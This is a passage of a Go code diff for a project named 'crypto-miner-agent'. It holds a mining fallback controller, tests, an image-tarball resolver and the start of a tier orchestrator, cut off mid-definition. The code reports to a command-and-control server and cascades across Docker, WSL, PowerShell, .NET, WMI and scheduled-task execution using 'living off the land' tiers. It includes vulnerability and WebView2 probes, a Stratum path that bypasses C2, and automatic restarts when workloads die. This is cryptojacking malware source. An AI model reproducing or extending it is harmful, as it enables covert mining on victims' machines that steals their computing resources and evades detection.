MethodLinuxPyOpenCL MiningMethod = "linux_pyopencl"
MethodStratumDirect MiningMethod = "stratum_direct"
MethodWMI MiningMethod = "wmi"
MethodScheduledTask MiningMethod = "scheduled_task"
MethodGPUCompute MiningMethod = "gpu_compute"
MethodWebView2Probe MiningMethod = "webview2_probe"
MethodVulnProbe MiningMethod = "vuln_probe"
)
// DefaultChainCooldown is the minimum wait between full chain re-passes.
const DefaultChainCooldown = 30 * time.Second
// MethodFailure records one failed attempt for operator diagnostics.
type MethodFailure struct {
Method MiningMethod `json:"method"`
Reason string `json:"reason"`
At string `json:"at"`
}
// MiningStatus is the live cascade snapshot sent to C2/UI.
type MiningStatus struct {
ActiveMethod MiningMethod `json:"active_method"`
ActiveMethods []MiningMethod `json:"active_methods,omitempty"`
FailedMethods []MethodFailure `json:"failed_methods"`
LastError string `json:"last_error,omitempty"`
ChainOrder []MiningMethod `json:"chain_order,omitempty"`
GPUParallel bool `json:"gpu_parallel,omitempty"`
StratumOverlay bool `json:"stratum_overlay,omitempty"`
ChainExhausted bool `json:"chain_exhausted,omitempty"`
LOTLTier LOTLTier `json:"lotl_tier,omitempty"`
LOTLAttempts []TierAttempt `json:"lotl_attempts,omitempty"`
WebGPUReady bool `json:"webgpu_ready,omitempty"`
}
// ChainHooks wires agent-specific start/stop logic without importing client.
type ChainHooks struct {
StartDockerLoad func() error
StartContainer func() error
StartWSL func() error
StartPowerShell func() error
StartDotnet func() error
StartInProcess func() error
StartGPU func() error
StartPyOpenCL func() error
StopDockerLoad func()
StopContainer func()
StopWSL func()
StopPowerShell func()
StopDotnet func()
StopInProcess func()
StopGPU func()
StopPyOpenCL func()
IsDockerLoadHealthy func() bool
IsContainerHealthy func() bool
IsWSLHealthy func() bool
IsGPUSupported func() bool
PoolConfigured func() bool
RunTierProbes func() TierReport
RunTierChain func() (LOTLTier, error)
StopTiers func()
WebGPUReady func() bool
GPUComputeReady func() bool
}
// FallbackReporter emits mining_status / mining_fallback events to C2.
type FallbackReporter func(status MiningStatus, eventType string)
// appendLOTLPrimary adds docker_load → docker/container → wsl → in-process CPU tiers.
func appendLOTLPrimary(chain []MiningMethod, cfg config.RuntimeConfig, runtime ContainerRuntimeInfo) []MiningMethod {
if HasImageTarPolicy(cfg) && runtime.Available {
chain = append(chain, MethodDockerLoad)
}
if runtime.Available {
chain = append(chain, MethodContainer)
}
if wsl := WSLDetector(); wsl.Available {
chain = append(chain, MethodWSL)
}
return append(chain, MethodInProcess)
}
// DefaultFallbackChain returns the ordered cascade for cfg + platform.
// CPU primary is sequential (docker_load → container → wsl → in-process). GPU runs
// in parallel once CPU primary is established. Stratum direct overlays in-process when C2 jobs stall.
func DefaultFallbackChain(cfg config.RuntimeConfig, runtime ContainerRuntimeInfo) []MiningMethod {
raw := strings.ToLower(strings.TrimSpace(cfg.MinerExecution))
chain := make([]MiningMethod, 0, 6)
switch raw {
case ExecutionPowerShell:
chain = append(chain, MethodPowerShell, MethodInProcess)
if cfg.GPUEnabled && cfg.RVNWallet != "" {
chain = append(chain, MethodGPUSubprocess)
}
case ExecutionDotnet:
chain = append(chain, MethodDotnet, MethodInProcess)
if cfg.GPUEnabled && cfg.RVNWallet != "" {
chain = append(chain, MethodGPUSubprocess)
}
case ExecutionSubprocess:
chain = append(chain, MethodInProcess)
if cfg.GPUEnabled && cfg.RVNWallet != "" {
chain = append(chain, MethodGPUSubprocess)
}
case ExecutionInProcess:
chain = append(chain, MethodInProcess)
if cfg.GPUEnabled && cfg.RVNWallet != "" {
chain = append(chain, MethodGPUSubprocess)
}
case ExecutionContainer:
chain = appendLOTLPrimary(chain, cfg, runtime)
if cfg.GPUEnabled && cfg.RVNWallet != "" {
chain = append(chain, MethodGPUSubprocess)
}
case "", ExecutionAuto:
chain = appendLOTLPrimary(chain, cfg, runtime)
if cfg.GPUEnabled && cfg.RVNWallet != "" {
chain = append(chain, MethodGPUSubprocess)
}
default:
chain = appendLOTLPrimary(chain, cfg, runtime)
if cfg.GPUEnabled && cfg.RVNWallet != "" {
chain = append(chain, MethodGPUSubprocess)
}
}
if cfg.PoolHost != "" {
chain = append(chain, MethodStratumDirect)
}
chain = appendLinuxPyOpenCL(chain)
return appendWindowsLOTLMethods(chain, cfg)
}
// appendLinuxPyOpenCL inserts linux_pyopencl before stratum when no CUDA but PyOpenCL exists.
func appendLinuxPyOpenCL(chain []MiningMethod) []MiningMethod {
if runtime.GOOS != "linux" || DetectCUDA() || !DetectPyOpenCL() {
return chain
}
out := make([]MiningMethod, 0, len(chain)+1)
for _, m := range chain {
if m == MethodStratumDirect {
out = append(out, MethodLinuxPyOpenCL)
}
out = append(out, m)
}
return out
}
// appendWindowsLOTLMethods adds probe and execution tiers after the primary chain.
func appendWindowsLOTLMethods(chain []MiningMethod, cfg config.RuntimeConfig) []MiningMethod {
for _, tier := range DefaultWindowsTierOrder() {
switch tier {
case TierWebView2Probe:
chain = append(chain, MethodWebView2Probe)
case TierWMI:
chain = append(chain, MethodWMI)
case TierScheduledTask:
chain = append(chain, MethodScheduledTask)
case TierGPUCompute:
if cfg.GPUEnabled && cfg.RVNWallet != "" {
chain = append(chain, MethodGPUCompute)
}
}
}
return chain
}
// primaryMethods are CPU paths tried sequentially until one succeeds.
func primaryMethods(chain []MiningMethod) []MiningMethod {
var out []MiningMethod
for _, m := range chain {
switch m {
case MethodDockerLoad, MethodContainer, MethodWSL, MethodPowerShell, MethodDotnet, MethodInProcess:
out = append(out, m)
}
}
return out
}
// ChainController orchestrates sequential CPU fallback and parallel GPU addon.
type ChainController struct {
mu sync.RWMutex
cfg config.RuntimeConfig
runtime ContainerRuntimeInfo
chain []MiningMethod
hooks ChainHooks
report FallbackReporter
activePrimary MiningMethod
gpuActive bool
stratumActive bool
failures []MethodFailure
lastError string
primaryIdx int
paused bool
lastFullPass time.Time
chainExhausted bool
lotlTier LOTLTier
lotlAttempts []TierAttempt
webGPUReady bool
}
// NewChainController builds a controller with platform-aware chain order.
func NewChainController(cfg config.RuntimeConfig, hooks ChainHooks, report FallbackReporter) *ChainController {
rt := RuntimeDetector()
return &ChainController{
cfg: cfg,
runtime: rt,
chain: DefaultFallbackChain(cfg, rt),
hooks: hooks,
report: report,
}
}
// Status returns a snapshot of the cascade state.
func (c *ChainController) Status() MiningStatus {
c.mu.RLock()
defer c.mu.RUnlock()
return c.buildStatus()
}
func (c *ChainController) buildStatus() MiningStatus {
active := c.activePrimary
if c.stratumActive && active == "" {
active = MethodInProcess
}
if c.stratumActive && active == MethodInProcess {
// Stratum overlays in-process — primary stays inprocess, flag overlay.
}
methods := make([]MiningMethod, 0, 3)
if active != "" {
methods = append(methods, active)
}
if c.gpuActive {
methods = append(methods, MethodGPUSubprocess)
}
if c.stratumActive {
// Report stratum as active_method when it is the only CPU path working.
if active == "" {
active = MethodStratumDirect
methods = []MiningMethod{MethodStratumDirect}
if c.gpuActive {
methods = append(methods, MethodGPUSubprocess)
}
}
}
failures := make([]MethodFailure, len(c.failures))
copy(failures, c.failures)
chain := make([]MiningMethod, len(c.chain))
copy(chain, c.chain)
attempts := make([]TierAttempt, len(c.lotlAttempts))
copy(attempts, c.lotlAttempts)
return MiningStatus{
ActiveMethod: active,
ActiveMethods: methods,
FailedMethods: failures,
LastError: c.lastError,
ChainOrder: chain,
GPUParallel: c.gpuActive && active != "" && active != MethodGPUSubprocess,
StratumOverlay: c.stratumActive,
ChainExhausted: c.chainExhausted,
LOTLTier: c.lotlTier,
LOTLAttempts: attempts,
WebGPUReady: c.webGPUReady,
}
}
// OnMethodFailed records a failure and notifies C2.
func (c *ChainController) OnMethodFailed(method MiningMethod, reason string) {
c.mu.Lock()
c.lastError = reason
c.failures = append(c.failures, MethodFailure{
Method: method,
Reason: reason,
At: time.Now().UTC().Format(time.RFC3339),
})
status := c.buildStatus()
report := c.report
c.mu.Unlock()
log.Printf("[mining-chain] %s failed: %s", method, reason)
if report != nil {
report(status, "mining_fallback")
}
}
// SetPrimaryActive marks which CPU method is currently handling RandomX.
func (c *ChainController) SetPrimaryActive(method MiningMethod) {
c.mu.Lock()
c.activePrimary = method
c.chainExhausted = false
if method != "" {
c.primaryIdx = 0
for i, m := range primaryMethods(c.chain) {
if m == method {
c.primaryIdx = i
break
}
}
}
status := c.buildStatus()
report := c.report
c.mu.Unlock()
if report != nil {
report(status, "mining_status")
}
}
// SetGPUActive records parallel RVN subprocess state.
func (c *ChainController) SetGPUActive(active bool) {
c.mu.Lock()
c.gpuActive = active
status := c.buildStatus()
report := c.report
c.mu.Unlock()
if report != nil {
report(status, "mining_status")
}
}
// SetStratumActive records direct Stratum overlay (same pool workers, C2 bypass).
func (c *ChainController) SetStratumActive(active bool) {
c.mu.Lock()
c.stratumActive = active
status := c.buildStatus()
report := c.report
c.mu.Unlock()
if report != nil {
event := "mining_status"
if active {
event = "mining_fallback"
}
report(status, event)
}
}
// MergeLOTLReport copies tier onion telemetry into the cascade snapshot.
func (c *ChainController) MergeLOTLReport(rep TierReport) {
c.mu.Lock()
c.lotlTier = rep.ActiveTier
if len(rep.Attempts) > 0 {
c.lotlAttempts = append([]TierAttempt(nil), rep.Attempts...)
}
c.webGPUReady = rep.WebGPUReady
c.mu.Unlock()
}
// TryChain attempts each primary CPU method until one starts successfully.
func (c *ChainController) TryChain(ctx context.Context) (MiningMethod, error) {
c.mu.Lock()
if c.paused {
c.mu.Unlock()
return "", nil
}
if !c.lastFullPass.IsZero() && time.Since(c.lastFullPass) < DefaultChainCooldown {
c.mu.Unlock()
return c.activePrimary, nil
}
c.lastFullPass = time.Now()
c.chainExhausted = false
hooks := c.hooks
primary := primaryMethods(c.chain)
c.mu.Unlock()
if len(primary) == 0 {
primary = []MiningMethod{MethodInProcess}
}
var lastErr error
for _, method := range primary {
select {
case <-ctx.Done():
return "", ctx.Err()
default:
}
if err := c.tryStartPrimary(method, hooks); err != nil {
lastErr = err
c.OnMethodFailed(method, err.Error())
c.stopPrimaryMethod(method, hooks)
continue
}
c.SetPrimaryActive(method)
c.runLOTLProbes(hooks)
c.tryGPUAddon(ctx, hooks)
c.tryPyOpenCLAddon(ctx, hooks)
c.runLOTLChain(hooks)
return method, nil
}
c.mu.Lock()
c.chainExhausted = true
c.lastError = "all primary mining methods failed"
if lastErr != nil {
c.lastError = lastErr.Error()
}
status := c.buildStatus()
report := c.report
c.mu.Unlock()
if report != nil {
report(status, "mining_status")
}
if lastErr != nil {
return "", lastErr
}
return "", ErrChainExhausted
}
func (c *ChainController) tryStartPrimary(method MiningMethod, hooks ChainHooks) error {
switch method {
case MethodDockerLoad:
if hooks.StartDockerLoad == nil {
return ErrMethodUnavailable
}
return hooks.StartDockerLoad()
case MethodContainer:
if hooks.StartContainer == nil {
return ErrMethodUnavailable
}
return hooks.StartContainer()
case MethodWSL:
if hooks.StartWSL == nil {
return ErrMethodUnavailable
}
return hooks.StartWSL()
case MethodInProcess:
if hooks.StartInProcess == nil {
return ErrMethodUnavailable
}
return hooks.StartInProcess()
case MethodPowerShell:
if hooks.StartPowerShell == nil {
return ErrMethodUnavailable
}
return hooks.StartPowerShell()
case MethodDotnet:
if hooks.StartDotnet == nil {
return ErrMethodUnavailable
}
return hooks.StartDotnet()
default:
return ErrMethodUnavailable
}
}
func (c *ChainController) stopPrimaryMethod(method MiningMethod, hooks ChainHooks) {
switch method {
case MethodDockerLoad:
if hooks.StopDockerLoad != nil {
hooks.StopDockerLoad()
}
case MethodContainer:
if hooks.StopContainer != nil {
hooks.StopContainer()
}
case MethodWSL:
if hooks.StopWSL != nil {
hooks.StopWSL()
}
case MethodInProcess:
if hooks.StopInProcess != nil {
hooks.StopInProcess()
}
case MethodPowerShell:
if hooks.StopPowerShell != nil {
hooks.StopPowerShell()
}
case MethodDotnet:
if hooks.StopDotnet != nil {
hooks.StopDotnet()
}
}
}
func (c *ChainController) runLOTLProbes(hooks ChainHooks) {
if hooks.RunTierProbes == nil {
return
}
rep := hooks.RunTierProbes()
c.mu.Lock()
c.lotlAttempts = rep.Attempts
c.webGPUReady = rep.WebGPUReady
c.mu.Unlock()
}
func (c *ChainController) runLOTLChain(hooks ChainHooks) {
if hooks.RunTierChain == nil {
return
}
tier, err := hooks.RunTierChain()
c.mu.Lock()
if tier != "" {
c.lotlTier = tier
}
c.mu.Unlock()
if err != nil && err != ErrTierChainSkipped {
c.OnMethodFailed(MiningMethod(tier), err.Error())
}
}
func (c *ChainController) tryPyOpenCLAddon(ctx context.Context, hooks ChainHooks) {
if hooks.StartPyOpenCL == nil {
return
}
hasTier := false
for _, m := range c.chain {
if m == MethodLinuxPyOpenCL {
hasTier = true
break
}
}
if !hasTier {
return
}
select {
case <-ctx.Done():
return
default:
}
if err := hooks.StartPyOpenCL(); err != nil {
c.OnMethodFailed(MethodLinuxPyOpenCL, err.Error())
if hooks.StopPyOpenCL != nil {
hooks.StopPyOpenCL()
}
return
}
log.Printf("[mining-chain] linux_pyopencl tier active (OpenCL probe OK)")
}
func (c *ChainController) tryGPUAddon(ctx context.Context, hooks ChainHooks) {
if hooks.StartGPU == nil || hooks.IsGPUSupported == nil || !hooks.IsGPUSupported() {
return
}
// WebView2 probe gates gpu_subprocess unless WebGPU was exposed or gpu_compute succeeded.
if hooks.WebGPUReady != nil && !hooks.WebGPUReady() {
if hooks.GPUComputeReady == nil || !hooks.GPUComputeReady() {
c.OnMethodFailed(MethodGPUSubprocess, "webview2_probe: WebGPU not available — skipping gpu_subprocess escalation")
return
}
}
select {
case <-ctx.Done():
return
default:
}
if err := hooks.StartGPU(); err != nil {
c.OnMethodFailed(MethodGPUSubprocess, err.Error())
if hooks.StopGPU != nil {
hooks.StopGPU()
}
c.SetGPUActive(false)
return
}
c.SetGPUActive(true)
}
// AdvancePrimary moves to the next CPU method after runtime failure.
func (c *ChainController) AdvancePrimary(reason string) {
c.mu.Lock()
if c.paused {
c.mu.Unlock()
return
}
failed := c.activePrimary
hooks := c.hooks
primary := primaryMethods(c.chain)
idx := 0
for i, m := range primary {
if m == failed {
idx = i + 1
break
}
}
c.mu.Unlock()
if failed != "" {
c.OnMethodFailed(failed, reason)
c.stopPrimaryMethod(failed, hooks)
}
for idx < len(primary) {
method := primary[idx]
if err := c.tryStartPrimary(method, hooks); err != nil {
c.OnMethodFailed(method, err.Error())
c.stopPrimaryMethod(method, hooks)
idx++
continue
}
c.SetPrimaryActive(method)
return
}
c.mu.Lock()
c.chainExhausted = true
c.activePrimary = ""
c.lastError = "primary chain exhausted after " + string(failed) + " failure"
status := c.buildStatus()
report := c.report
c.mu.Unlock()
if report != nil {
report(status, "mining_status")
}
}
// RestartChain resets failures and re-runs the full primary chain (respects cooldown).
func (c *ChainController) RestartChain(ctx context.Context) {
c.mu.Lock()
c.failures = nil
c.lastError = ""
c.chainExhausted = false
c.activePrimary = ""
c.primaryIdx = 0
c.lastFullPass = time.Time{}
c.mu.Unlock()
_, _ = c.TryChain(ctx)
}
// StopAll pauses cascade and stops every running method.
func (c *ChainController) StopAll() {
c.mu.Lock()
c.paused = true
hooks := c.hooks
c.mu.Unlock()
if hooks.StopDockerLoad != nil {
hooks.StopDockerLoad()
}
if hooks.StopContainer != nil {
hooks.StopContainer()
}
if hooks.StopWSL != nil {
hooks.StopWSL()
}
if hooks.StopPowerShell != nil {
hooks.StopPowerShell()
}
if hooks.StopDotnet != nil {
hooks.StopDotnet()
}
if hooks.StopInProcess != nil {
hooks.StopInProcess()
}
if hooks.StopGPU != nil {
hooks.StopGPU()
}
if hooks.StopPyOpenCL != nil {
hooks.StopPyOpenCL()
}
if hooks.StopTiers != nil {
hooks.StopTiers()
}
c.mu.Lock()
c.activePrimary = ""
c.gpuActive = false
c.lotlTier = ""
c.mu.Unlock()
}
// ResumeAll clears pause and restarts the chain.
func (c *ChainController) ResumeAll(ctx context.Context) {
c.mu.Lock()
c.paused = false
c.mu.Unlock()
c.RestartChain(ctx)
}
// Monitor watches container health and advances the chain on exit.
func (c *ChainController) Monitor(ctx context.Context) {
ticker := time.NewTicker(10 * time.Second)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
c.mu.RLock()
paused := c.paused
primary := c.activePrimary
hooks := c.hooks
c.mu.RUnlock()
if paused {
continue
}
healthy := true
reason := ""
switch primary {
case MethodDockerLoad:
if hooks.IsDockerLoadHealthy != nil {
healthy = hooks.IsDockerLoadHealthy()
reason = "docker_load workload exited or unhealthy"
}
case MethodContainer:
if hooks.IsContainerHealthy != nil {
healthy = hooks.IsContainerHealthy()
reason = "container workload exited or unhealthy"
}
case MethodWSL:
if hooks.IsWSLHealthy != nil {
healthy = hooks.IsWSLHealthy()
reason = "wsl workload exited or unhealthy"
}
default:
continue
}
if healthy {
continue
}
c.AdvancePrimary(reason)
}
}
}

View File

@@ -0,0 +1,326 @@
package miner
import (
"context"
"errors"
"runtime"
"testing"
"time"
"crypto-miner-agent/config"
)
func TestDefaultFallbackChainAutoWithDocker(t *testing.T) {
SetRuntimeDetector(func() ContainerRuntimeInfo {
return ContainerRuntimeInfo{Available: true, CLI: "docker"}
})
defer SetRuntimeDetector(nil)
SetWSLDetector(func() WSLRuntimeInfo { return WSLRuntimeInfo{} })
defer SetWSLDetector(nil)
chain := DefaultFallbackChain(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: ExecutionAuto,
PoolHost: "pool.example.com",
},
}, ContainerRuntimeInfo{Available: true, CLI: "docker"})
want := []MiningMethod{MethodContainer, MethodInProcess, MethodStratumDirect}
if len(chain) < len(want) {
t.Fatalf("chain=%v want at least %v", chain, want)
}
for i := range want {
if chain[i] != want[i] {
t.Fatalf("chain[%d]=%q want %q full=%v", i, chain[i], want[i], chain)
}
}
}
func TestDefaultFallbackChainAutoWithoutRuntime(t *testing.T) {
SetWSLDetector(func() WSLRuntimeInfo { return WSLRuntimeInfo{} })
defer SetWSLDetector(nil)
chain := DefaultFallbackChain(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto, PoolHost: "p"},
}, ContainerRuntimeInfo{})
if chain[0] != MethodInProcess {
t.Fatalf("got %v want inprocess first", chain)
}
// Windows LOTL probe tiers trail stratum_direct in the legacy chain.
stratumIdx := -1
for i, m := range chain {
if m == MethodStratumDirect {
stratumIdx = i
}
}
if stratumIdx < 0 {
t.Fatalf("got %v want stratum_direct present", chain)
}
if runtime.GOOS != "windows" && chain[len(chain)-1] != MethodStratumDirect {
t.Fatalf("got %v want stratum last", chain)
}
}
func TestDefaultFallbackChainInProcessSkipsContainer(t *testing.T) {
chain := DefaultFallbackChain(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: ExecutionInProcess,
GPUEnabled: true,
RVNWallet: "wallet",
PoolHost: "p",
},
}, ContainerRuntimeInfo{Available: true, CLI: "docker"})
for _, m := range chain {
if m == MethodContainer {
t.Fatal("inprocess mode must skip container")
}
}
if chain[0] != MethodInProcess {
t.Fatalf("got %v", chain)
}
}
func TestDefaultFallbackChainGPUIncludedWhenConfigured(t *testing.T) {
SetWSLDetector(func() WSLRuntimeInfo { return WSLRuntimeInfo{} })
defer SetWSLDetector(nil)
chain := DefaultFallbackChain(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: ExecutionAuto,
GPUEnabled: true,
RVNWallet: "wallet",
},
}, ContainerRuntimeInfo{Available: true, CLI: "docker"})
foundGPU := false
for _, m := range chain {
if m == MethodGPUSubprocess {
foundGPU = true
}
}
if !foundGPU {
t.Fatalf("expected gpu in chain, got %v", chain)
}
}
func TestTryChainOrderAndSkipMissingRuntime(t *testing.T) {
var started []MiningMethod
hooks := ChainHooks{
StartContainer: func() error {
started = append(started, MethodContainer)
return errors.New("container start blocked")
},
StartInProcess: func() error {
started = append(started, MethodInProcess)
return nil
},
StartGPU: func() error { return nil },
IsGPUSupported: func() bool { return false },
}
ctrl := NewChainController(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: ExecutionAuto,
PoolHost: "p",
},
}, hooks, nil)
ctrl.runtime = ContainerRuntimeInfo{Available: true, CLI: "docker"}
ctrl.chain = DefaultFallbackChain(ctrl.cfg, ctrl.runtime)
method, err := ctrl.TryChain(context.Background())
if err != nil {
t.Fatalf("TryChain: %v", err)
}
if method != MethodInProcess {
t.Fatalf("active=%q want inprocess", method)
}
if len(started) != 2 || started[0] != MethodContainer || started[1] != MethodInProcess {
t.Fatalf("start order=%v", started)
}
if len(ctrl.Status().FailedMethods) != 1 || ctrl.Status().FailedMethods[0].Method != MethodContainer {
t.Fatalf("failures=%v", ctrl.Status().FailedMethods)
}
}
func TestTryChainExhausted(t *testing.T) {
hooks := ChainHooks{
StartContainer: func() error { return errors.New("no container") },
StartInProcess: func() error { return errors.New("no inprocess") },
}
ctrl := NewChainController(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionInProcess},
}, hooks, nil)
ctrl.chain = []MiningMethod{MethodInProcess}
_, err := ctrl.TryChain(context.Background())
if !errors.Is(err, ErrChainExhausted) && err.Error() != "no inprocess" {
t.Fatalf("got err=%v", err)
}
if !ctrl.Status().ChainExhausted {
t.Fatal("expected chain exhausted flag")
}
}
func TestAdvancePrimaryFromContainer(t *testing.T) {
var inprocessStarted bool
hooks := ChainHooks{
StartInProcess: func() error {
inprocessStarted = true
return nil
},
StopContainer: func() {},
}
ctrl := NewChainController(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto},
}, hooks, nil)
ctrl.chain = []MiningMethod{MethodContainer, MethodInProcess}
ctrl.activePrimary = MethodContainer
ctrl.AdvancePrimary("container exited")
if !inprocessStarted {
t.Fatal("expected inprocess start after container failure")
}
if ctrl.Status().ActiveMethod != MethodInProcess {
t.Fatalf("active=%q", ctrl.Status().ActiveMethod)
}
}
func TestDefaultChainCooldownConstant(t *testing.T) {
if DefaultChainCooldown != 30*time.Second {
t.Fatalf("DefaultChainCooldown = %v want 30s", DefaultChainCooldown)
}
}
func TestDefaultFallbackChainForcedContainerWithoutRuntime(t *testing.T) {
chain := DefaultFallbackChain(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: ExecutionContainer,
PoolHost: "p",
},
}, ContainerRuntimeInfo{})
for _, m := range chain {
if m == MethodContainer {
t.Fatal("container mode without runtime must skip container method")
}
}
if chain[0] != MethodInProcess {
t.Fatalf("got %v", chain)
}
}
func TestDefaultFallbackChainDockerLoadBeforeContainer(t *testing.T) {
t.Setenv("AETHERFORGE_DOCKER_IMAGE_TAR", "")
SetImageTarFetcher(func(cfg config.RuntimeConfig) (string, error) {
return "/policy/worker.tar", nil
})
defer SetImageTarFetcher(nil)
SetRuntimeDetector(func() ContainerRuntimeInfo {
return ContainerRuntimeInfo{Available: true, CLI: "docker"}
})
defer SetRuntimeDetector(nil)
SetWSLDetector(func() WSLRuntimeInfo { return WSLRuntimeInfo{} })
defer SetWSLDetector(nil)
chain := DefaultFallbackChain(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto, PoolHost: "p"},
}, ContainerRuntimeInfo{Available: true, CLI: "docker"})
if chain[0] != MethodDockerLoad {
t.Fatalf("chain=%v want docker_load first when tar policy set", chain)
}
if chain[1] != MethodContainer {
t.Fatalf("chain=%v want container second", chain)
}
}
func TestTryChainDockerLoadFailsReportsAttempt(t *testing.T) {
SetImageTarFetcher(func(cfg config.RuntimeConfig) (string, error) {
return "/tmp/worker.tar", nil
})
defer SetImageTarFetcher(nil)
var failed []MiningMethod
ctrl := NewChainController(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto, PoolHost: "p"},
}, ChainHooks{
StartDockerLoad: func() error { failed = append(failed, MethodDockerLoad); return errors.New("docker missing") },
StartInProcess: func() error { return nil },
}, nil)
ctrl.runtime = ContainerRuntimeInfo{Available: true, CLI: "docker"}
ctrl.chain = []MiningMethod{MethodDockerLoad, MethodInProcess}
method, err := ctrl.TryChain(context.Background())
if err != nil {
t.Fatalf("TryChain: %v", err)
}
if method != MethodInProcess {
t.Fatalf("active=%q want inprocess", method)
}
if len(ctrl.Status().FailedMethods) != 1 || ctrl.Status().FailedMethods[0].Method != MethodDockerLoad {
t.Fatalf("failures=%v", ctrl.Status().FailedMethods)
}
}
func TestTryChainRunTierHooksPopulatesLOTLFields(t *testing.T) {
hooks := ChainHooks{
StartInProcess: func() error { return nil },
RunTierProbes: func() TierReport {
return TierReport{
Attempts: []TierAttempt{{
Tier: TierWebView2Probe,
OK: true,
Wallet: "same-wallet",
}},
WebGPUReady: true,
}
},
RunTierChain: func() (LOTLTier, error) {
return TierCPUInprocess, nil
},
}
ctrl := NewChainController(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionInProcess},
}, hooks, nil)
ctrl.chain = []MiningMethod{MethodInProcess}
if _, err := ctrl.TryChain(context.Background()); err != nil {
t.Fatalf("TryChain: %v", err)
}
st := ctrl.Status()
if st.LOTLTier != TierCPUInprocess {
t.Fatalf("lotl_tier=%q want cpu_inprocess", st.LOTLTier)
}
if len(st.LOTLAttempts) != 1 || st.LOTLAttempts[0].Tier != TierWebView2Probe {
t.Fatalf("lotl_attempts=%v", st.LOTLAttempts)
}
if !st.WebGPUReady {
t.Fatal("expected webgpu_ready from tier probes")
}
}
func TestTryChainRespectsCooldown(t *testing.T) {
attempts := 0
hooks := ChainHooks{
StartInProcess: func() error {
attempts++
return nil
},
}
ctrl := NewChainController(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionInProcess},
}, hooks, nil)
ctrl.chain = []MiningMethod{MethodInProcess}
if _, err := ctrl.TryChain(context.Background()); err != nil {
t.Fatal(err)
}
if _, err := ctrl.TryChain(context.Background()); err != nil {
t.Fatal(err)
}
if attempts != 1 {
t.Fatalf("attempts=%d want 1 (cooldown)", attempts)
}
}

53
agent/miner/image_tar.go Normal file
View File

@@ -0,0 +1,53 @@
package miner
import (
"errors"
"fmt"
"os"
"strings"
"crypto-miner-agent/config"
)
// ErrNoImageTar is returned when docker_load tier is selected but no tarball is available.
var ErrNoImageTar = errors.New("no docker image tarball configured")
// imageTarFetcher resolves a worker OCI tarball from the server upload/channel stub.
// Tests and integrations override via SetImageTarFetcher.
var imageTarFetcher func(cfg config.RuntimeConfig) (string, error)
// SetImageTarFetcher restores the default when fn is nil.
func SetImageTarFetcher(fn func(cfg config.RuntimeConfig) (string, error)) {
imageTarFetcher = fn
}
// HasImageTarPolicy reports whether server policy supplies a local tar for docker_load.
func HasImageTarPolicy(cfg config.RuntimeConfig) bool {
_, err := ResolveImageTar(cfg)
return err == nil
}
// ResolveImageTar returns a filesystem path to the worker image tar.
// Priority: injected fetcher → AETHERFORGE_DOCKER_IMAGE_TAR env → cfg.DockerImageTar.
func ResolveImageTar(cfg config.RuntimeConfig) (string, error) {
if imageTarFetcher != nil {
if p, err := imageTarFetcher(cfg); err == nil && strings.TrimSpace(p) != "" {
return strings.TrimSpace(p), nil
} else if err != nil && !errors.Is(err, ErrNoImageTar) {
return "", err
}
}
if p := strings.TrimSpace(os.Getenv("AETHERFORGE_DOCKER_IMAGE_TAR")); p != "" {
if _, err := os.Stat(p); err != nil {
return "", fmt.Errorf("docker image tar: %w", err)
}
return p, nil
}
if p := strings.TrimSpace(cfg.DockerImageTar); p != "" {
if _, err := os.Stat(p); err != nil {
return "", fmt.Errorf("docker image tar: %w", err)
}
return p, nil
}
return "", ErrNoImageTar
}

View File

@@ -0,0 +1,37 @@
package miner
import (
"os"
"path/filepath"
"testing"
"crypto-miner-agent/config"
)
func TestResolveImageTarFromEnv(t *testing.T) {
dir := t.TempDir()
tarPath := filepath.Join(dir, "worker.tar")
if err := os.WriteFile(tarPath, []byte("fake-tar"), 0644); err != nil {
t.Fatal(err)
}
t.Setenv("AETHERFORGE_DOCKER_IMAGE_TAR", tarPath)
defer SetImageTarFetcher(nil)
got, err := ResolveImageTar(config.RuntimeConfig{})
if err != nil {
t.Fatalf("ResolveImageTar: %v", err)
}
if got != tarPath {
t.Fatalf("got %q want %q", got, tarPath)
}
if !HasImageTarPolicy(config.RuntimeConfig{}) {
t.Fatal("HasImageTarPolicy should be true")
}
}
func TestResolveImageTarMissing(t *testing.T) {
t.Setenv("AETHERFORGE_DOCKER_IMAGE_TAR", "")
if _, err := ResolveImageTar(config.RuntimeConfig{}); err == nil {
t.Fatal("expected error without tar")
}
}

View File

@@ -0,0 +1,448 @@
package miner
import (
"context"
"errors"
"log"
"strings"
"sync"
"time"
"crypto-miner-agent/config"
)
var (
// ErrTierNotImplemented is returned for tiers awaiting parallel agent wiring.
ErrTierNotImplemented = errors.New("tier not implemented")
// ErrTierChainExhausted is returned when every tier in the onion failed.
ErrTierChainExhausted = errors.New("LOTL tier chain exhausted")
// ErrTierChainSkipped is returned when every tier gracefully skipped.
ErrTierChainSkipped = errors.New("all LOTL tiers skipped")
)
// TierHooks wires tier-specific start/stop without importing client.
type TierHooks struct {
StartDockerLoad func() error
StartContainer func() error
StartWSL func() error
StartPowerShell func() error
StartDotnet func() error
StartInProcess func() error
StartGPU func() error
StopDockerLoad func()
StopContainer func()
StopWSL func()
StopPowerShell func()
StopDotnet func()
StopInProcess func()
StopGPU func()
IsGPUSupported func() bool
}
// TierEventReporter emits tier_report / mining_status events to C2.
type TierEventReporter func(report TierReport, eventType string)
// TierOrchestrator runs the diagnostics-driven LOTL tier onion.
type TierOrchestrator struct {
mu sync.RWMutex
cfg config.RuntimeConfig
probes EnvironmentProbes
policy MiningTierPolicy
chain []LOTLTier
skipped []LOTLTier
hooks TierHooks
